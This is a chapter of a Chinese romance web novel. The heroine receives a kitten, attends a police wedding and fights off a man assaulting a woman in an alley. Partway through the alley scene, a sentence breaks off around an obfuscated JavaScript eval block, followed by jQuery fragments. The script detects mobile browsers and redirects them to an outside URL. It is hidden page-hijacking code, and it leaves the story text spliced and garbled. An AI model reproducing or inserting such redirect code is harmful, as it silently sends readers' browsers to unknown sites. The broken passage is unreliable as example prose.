40. 变态

作品:《加班太多变成河狸了

    周六,徐向迩和陈弋去吃了东北菜。


    吃完后,两人去往他在山上的别墅,推门进去后,徐向迩听到猫叫,小猫窝在宠物箱里扒拉着门。


    陈弋向她介绍,“戒奶茶的礼物。”


    徐向迩没有反应过来,紧盯着那只小猫,随后爆发尖叫,站在一旁的人揉了揉耳朵,“是顾旭养的猫生的,之前没给你,因为小猫突然生病了,顾旭让我换一只健康的,但我想还是要一开始选择的那只比较好,就延后了几天。”


    陈弋难得会解释。


    “喜欢吗?”


    “喜欢,超级喜欢!”


    徐向迩抱着小猫进屋,“我要给它取名叫芋泥!”


    “它有半分长得像芋泥吗?”陈弋跟在她身后,忍不住开口阴阳。


    “你可以闭嘴了,接下来是我和小猫的独处时光。”


    “……”过河拆桥,收了礼物就不管他了。


    陈弋几番骚扰她,徐向迩都无动于衷,他索性直接去书房办公。


    接下来的半天,徐向迩都围着小猫转,在网上购买了一堆猫猫玩具。


    当晚,她怀着雀跃的心情入睡。


    周日,两人前往文瀚哥的婚礼现场。


    婚礼在江禾市的部队家属院进行,嫂子是军人,会和其他几位同志举办集体婚礼。


    徐向迩一路上都非常兴奋,和陈弋讲了许多她在警局闯祸的事情。


    讲着讲着,就讲到了徐鸣去世的事,她敞开车窗,略过其中的细节,“反正意外发生之后,他们都担心我,文瀚哥甚至在我离开江禾市之后,飞到我舅舅家去看我,明明自己也想念我爸想得哭鼻涕,还天天安慰我,好笑死了。”


    “手伸过来。”


    徐向迩乖乖握住他的手,听到他近乎低哄的语气,“尔尔特别棒,才会好好生活到现在。”


    “你好肉麻。”她瞬间抽出自己的手指,抱着手臂打了个冷颤。


    “嗯,以后不说了。”陈弋打下左转向灯,进入停车场,“说一次一百块。”


    “你倒给我一千,我也不听。”


    “……”陈弋被她噎住,停下车笑出了声。


    徐向迩透过车窗,看到家属院门口站着的刘叔,她连忙解开安全带,“下车了,下车了,刘叔来接我们了。”


    下车后,她小跑几步,到达刘叔面前。


    刘叔笑着问,“尔尔,怎么又瘦了这么多。”


    她哭笑不得,“刘叔,我明明长胖了很多!”


    简直和小时候毫无区别,每次见面都要先聊她的体重。


    陈弋站在旁边,她略过这个话题,向刘叔介绍道:“这是我男朋友,陈弋。”


    做警察多年的刘叔,虽然只见过他一次,还是立马回想起来,“尔尔,你还搞办公室恋情啊。”


    徐向迩再次略过这个话题,“叔,你快领我们进去吧。”


    在入口拿出身份证登记过后,几人走在林荫道上,高而壮的杨树枝繁叶茂,遮挡住刺眼的日光。


    陈弋跟在刘叔身边,听他聊钓鱼的事。


    在进入会场前,两人就已经约定好以后有空出去钓鱼。


    在会场里,徐向迩见到了上次在饭店没有遇到的叔叔阿姨们,他们见到她的第一句话就是——


    “尔尔,怎么这么瘦了!”


    她努力绽放出微笑,而身后的陈弋却憋不住笑出声,被她用手肘打了一下。


    “这是我男朋友,陈弋。”


    许久未见,还是带着男朋友来的,徐向迩自然被他们团团围住,询问着各种问题。


    炮灰必然不会只落在她的身上,陈弋被局长伯伯等人也围着,她忍不住出手相救,“伯伯们,咱们别和审犯人一样好吗?”


    “哎,这下好了,咱们尔尔以后只护着别人了。”


    “是啊,之前我被徐队骂哭,她还维护我呢,站在桌子上和她爸吵了一架。”


    一阵沉默,徐向迩叉着腰,主动开口,“都别说了,别把我男朋友给我吓跑了。”


    “好好好。”一群人散去。


    徐向迩逃离现场,拽着陈弋去找文瀚哥。


    而不知谁说了一句,“他是不是有点像当初那个小孩?”


    局长伯伯这才猛拍脑门,想起了什么,和刘叔对视一眼,“完蛋了,这下完蛋了。”


    /


    婚礼开始后,徐向迩没忍住眼泪直流。


    陈弋拿过纸巾,帮她擦着眼泪,温声哄道,“怎么回事啊,人家结婚,你哭这么伤心。”


    “怎么是伤心,我这是高兴好不好,你知道当警察有多么不容易吗,结婚真的很需要勇气的,好不好……”她撅起小嘴,连串的眼泪不停落下,“你都不懂,这是多么幸福的事。”


    陈弋的心脏猛地坠了一下,想到当初那个为救自己而死去的警察,连带着想起那不停包围着他的火焰,手指都跟着颤抖起来。


    “尔尔,我懂的。”


    陈弋怎么会不懂。


    自己这条被人赶来赶去的命,他被误认为是陈家的那个备受宠爱的私生子,从而让铤而走险的绑架犯绑走了,陈家在没看到陈则临前惊慌失措,可看到他回家了之后,就没怎么管过那位被绑架的孩子。


    在货车后备厢待了不知多久后,整个车厢突然变得灼热,陈弋出了许多的汗,静静等待死亡的时候。


    原以为世界已经将他抛弃,可却有个警察来救他了。


    陈弋成功获救了。


    那个警察却没有逃出来。


    事情闹大了,陈家也害怕这孩子留在身边会出什么事,索性直接把他送去美国。


    直到婚礼结束,两人坐进车里,陈弋仍有些失神。


    “是不是开车太累了,还是社交太累了?”徐向迩在他面前晃了晃手,吸吸鼻子,“我来开车吧。”


    “嗯。”陈弋没有拒绝,安静下车,坐到了副驾上,“尔尔,我睡一会。”


    “好,到了我喊你。”


    回程的路上,紧闭双眼的陈弋陷入噩梦中。


    在喧闹的闹市区里,周围响起嘈杂的声音,他骤然清醒过来,第一眼瞥见的事坐在驾驶座的徐向迩,她特别专注地在开车。


    陈弋将呼吸放缓,湿润的眼睛无法移开。


    他这样卑劣的人,也能获得这样强烈的光芒吗,可他已经无法放弃拥有。


    /


    陈弋最近很奇怪,徐向迩捉摸不透了。


    总是加班到很晚,也不知在忙些什么。偶尔去往他家里休息的时候,他也会时常做噩梦。


    像是被梦魇困住了。


    只会在惊醒后,抱着她平复情绪,可是徐向迩问过许多次,都没有听到合理的理由。


    或许只是需要个人空间吧,毕竟他还有自己并不知晓的秘密,为什么怕火怕黑,甚至为什么不住在卧室,她也都无从知晓。


    可是,既然现在他已经能和自己一起睡卧室了。


    那说明,未来一定是会变好的。


    徐向迩选择不去追溯陈弋的过往。没有她的过往。


    今天是周五,难得不需要加班,于是徐向迩在下班前照例询问陈弋,他有什么安排。


    陈弋要去见客户。


    她应了声“好”,又去联系蒋柔,结果她还在和顾旭一起寻找剧本素材。


    好吧,完美的周五下班日子,只能她独自享受了。


    徐向迩翻看网络上的帖子,选了一家评分不错的日料店。


    下班后,她独自前往那家日料店,排队点了一份套餐,拍照发给了陈弋和蒋柔。吃过饭后,她去附近的步行街,买了两束百合花,晃晃悠悠走去公交车站。


    是稀松平常但也足够幸福的日子。


    自从和陈弋在一起后,虽然也有独处时间,但这样的时刻,让徐向迩觉得,偶尔他不在的话,还是蛮不赖的体验。


    徐向迩的脚步都轻快起来,她一路都戴着耳机,沉浸于播客之中无法自拔。


    公交车到站时,她不经意间一瞥,透过车门的深色玻璃,看到了身后穿着帽衫,把帽子盖得极低的一个瘦高男人。


    好像在卖花的时候就遇到他了。


    徐向迩轻微蹙眉,没作什么反应,假装看错了公交车的站牌,满脸疑惑地走向一旁的便利店。


    她躲在便利店里,想给陈弋发消息,却看到晚上的几条信息,他都没有回复。


    大概还在和客户见面吧,她放弃了发消息。


    还是直接找辆专车回家吧。


    徐向迩打好专车,等车快到的时候,才探出身体,往四周望了一眼,她握紧包里那把日本品牌的锋利刮眉刀,朝着定位的地方走去。


    周围寂静无人,大概是自己想多了。


    她放下包里的眉刀,再次朝着定位走去。


    可没走几步,她就听到旁边巷子里传来呜咽声。


    徐向迩的脚步顿住,朝着晦暗不明的,几乎没有路灯的巷子里望去,有隐约两条身影交缠在一起。


    她微微眯起眼睛,啧了一声。


    怕是小情侣吧。


    专车已经快要到达路口,徐向迩将挎包甩到身后,刚想跑过去,就听到巷子里传来破碎的声音——


    “救救我。”


    徐向迩瞬间想到了文瀚哥之前提过的事,会不会那个尾随女性的变态还没有被抓住。


    她抬脚就往巷子里走,“谁在那?”


    定睛一看,那闪烁的路灯下,是那个穿着黑色帽衫的男人。


    “你干什么呢!”


    徐向迩的出现,却没有令那个男人停下动作,他仍把那个女生压在墙面,手里的动作没有停止。


    她后槽牙咬紧,拿出手机给文瀚哥发了定位和紧急信息,把手机放回包里后,在身旁抄起一根木棍就跑了过去,正想猛猛砸向那个男人。


    却被他伸手拦住。


    徐向迩转身护在那个女生面前,“你他爹的干什么,滚远点。”木棍被他握在手中,没有丝毫动摇。


    那个女生没有躲在身后,而是冲出来咬在灰色帽衫的胳膊上,死死咬住。


    灰色帽衫将女生一脚踹在地上,他冲着徐向迩咬牙一笑,“本来看你要上车,要放过你的,你却又过来了,呵。”


    恶心。


    还不如直接找上她呢,省得让其他女生受苦。


    徐向迩没空陪他闹了。


    她猛地用刮眉刀在他的手背划了一道。


    灰色帽衫嘶了一声,却没有放松下来,她只好紧紧扣住他的手背,在流血的地方更加用力的划了一道。


    崭新尚未使用的长款刮眉刀,徐向迩一向都用来拆快递,因为无比锋利,她甚至有一回也被割到了手指,三天才恢复正常。


    徐向迩的脖子被灰色帽衫掐住,难以呼吸,她强忍着痛楚,抬手用眉刀划过他的脖颈。


    爸爸说过,可以伤害对方的非致命部位。


    完了,划错了。


    手抬高了,徐向迩吓了一跳,在灰色帽衫捂住脖颈的片刻,她扔下眉刀,拽起刚起身的女生就往巷子外跑去。


    啊呜啊呜的警车也在这时赶到。


    女生对着她说了一句谢谢,就跌倒在徐向迩的怀里。


    文瀚哥和其他警察赶到。


    他让其他警察喊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725424|171729||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了救护车,先把那个女生搬上了担架。


    徐向迩的脚步虚软,内心不断想着,不要变成河狸,别怕别怕。


    她强忍耐住情绪,双手止不住颤抖,耳鸣且眼睛眩晕,在文瀚哥不断的安抚下,她终于平复下来。


    刘叔也赶了过来,在他和文瀚哥来回的对话里,徐向迩终于重新感知到外界。


    她深深地吸了一口气,抬起酸痛的胳膊,轻轻扯了下她被那个灰色帽衫扯坏的短袖,文瀚哥将自己的外套盖在她的身上。


    没过一会,警察循着滴落的血液找到了逃跑的犯人,把他送上了救护车。


    刘叔安抚她,“好了,小耳朵,没事了,别怕别怕。”


    “刘叔,那个人没事吧?”徐向迩的眼睛充斥着红血丝,她吸了吸鼻子,始终没有落下眼泪。


    “没事,没大碍,就你那小小刮眉刀,又不能把他捅死。”


    “刘叔,你就别吓唬我了,好不好……”


    文瀚哥双手叉腰,听到她说话,气不打一处来,“天天想着行侠仗义,下次能不能别这么莽撞。”


    徐向迩撇起嘴巴,白了他一眼,“我可是提前给你发了短信的哈。”


    “人没事就好。”文瀚哥收敛起情绪,揉了揉她的头发,勾起唇角,拍她的后背,低身询问,“要录笔录,陈弋去哪里了,怎么留你一个人?”


    “他在忙。”


    “忙什么呢,都招惹上你——”刘叔瞪了他一眼,文瀚哥瞬间熄灭火焰,“给他打电话去派出所接你。”


    没过一会,徐向迩被带到派出所,那个女生并无大碍,简单检查过身体也来派出所录口供。


    徐向迩在大厅等待的期间,换上了嫂子买来的新T恤,她窝在椅子上一直没说话,随后局长伯伯也赶过来了。


    往常和蔼的一张国字脸,此刻却狰狞地喊道:“他大爷的,人呢?”


    文瀚哥拦住他,“被尔尔割伤脖子,去医院了。”


    “真是个人渣,你怎么回事,抓人抓半个多月,还抓不着,就让这些变态在外面瞎逛吗!”局长伯伯瞥到坐在一旁的徐向迩,指着她喊,“狗屁变态,还得让我们勇敢市民尔尔去抓吗,全世界的坏蛋都交她算了。”


    又在阴阳她。


    徐向迩叹了口气,怎么都退休了还这么火急火燎的。


    “大伯,我没事。”


    局长伯伯扫了她一眼,


    她不断摩挲着已清洗干净的手心,心虚地低下头。


    果不其然,斥责的话劈头盖脸地砸过来,“你男朋友呢,干什么吃的,大晚上让你一个人乱逛。”


    她抬眸看过来,下意识反驳,“大伯!遇到这种事,为什么要怪女生,我正常走我的路啊,要怪就要怪出来作恶的人!”


    “尔尔说得也对。”局长伯伯摸了摸鼻尖,将枪头再次对着文瀚哥,“你说你,干不了就赶紧去做基层吧,还天天在警局食堂吃白饭。”


    刘叔仰着头走过去,拍了拍他的肩膀,偷偷揶揄,“被训了吧。”


    “哎,尔尔还是小时候那性子,啥也容不得。”局长伯伯欣慰一笑,“但要不是这个性子,早不知道吃多少亏了,这样也好,没出事就好,不然我可没办法向那个臭小子解释。”


    风顺着开门的动作闯入,徐向迩的腿凉了一瞬,她抬眸看去,是一脸焦急的陈弋。


    他站在门口,将视线定格在她的身上,连忙跑过来,蹲下身询问,“尔尔,你没事吧?”


    “没事,没事。”她整个人被他抱住,拍了拍他的后背安慰他,“我可是很厉害的,直接把那个人打趴下了。”


    局长伯伯和刘叔对视一眼,文瀚哥却是直接别过脸,叹了口气。


    “对不起,我不该让你自己回家的。”


    “我本来就是自己走回家的啊,没和你在一起之前,我一直是这样生活的,你干嘛要自责呢。”


    之前她也是这个多管闲事的性格。


    徐向迩想到给他发消息时自己的犹豫,仍勉强地露出笑意。手心触到他湿透的后背,她疑惑地问:“怎么出这么多汗?”


    “我从顾旭工作室那里过来的,在半路上他的车坏了,我跑过来的。”


    不是去见客户么,怎么是去顾旭的心理咨询室了。


    不会是去看心理医生了吧。


    徐向迩挑了下眉,轻轻将自己的手从他的手心抽离出来,“嗯,知道了。”


    在派出所登记过后,文瀚哥开车把两人送回陈弋的家,徐向迩道谢过后,率先下了车。


    陈弋下车前,被文瀚哥叫住,他特意嘱道:“她就是面上坚强,小时候看到有人偷东西,打电话告诉了徐队。等我们到了,她站在原地害怕地嚎啕大哭。这么多年过去,性格还是那样,你今晚多陪陪她。”


    “我知道,谢谢。”


    陈弋下车后,目送车辆离开。


    他回到家里,看到徐向迩坐在沙发上不语,她刷着手机,在他进门时也没有抬头。


    陈弋把西装外套放在玄关,走了过来。


    他走到沙发旁的时候,徐向迩把手机倒扣在茶几上,发出清脆的玻璃相撞的声响。她起身离开地毯,陈弋握住她的手腕,“要去做什么?”


    “洗澡,身上很脏。”


    他垂下头,倾身观察她的情绪,小心翼翼地问道:“害怕吗,要不要我在门口陪你?”


    “不用。”


    从他的手里挣脱开,徐向迩想越过他前往洗手间时,却再次被他拦住,“我知道你在生气。”


    “我生什么气。”


    寂静的房间里,响起陈弋颓然的语调,“骗了你。”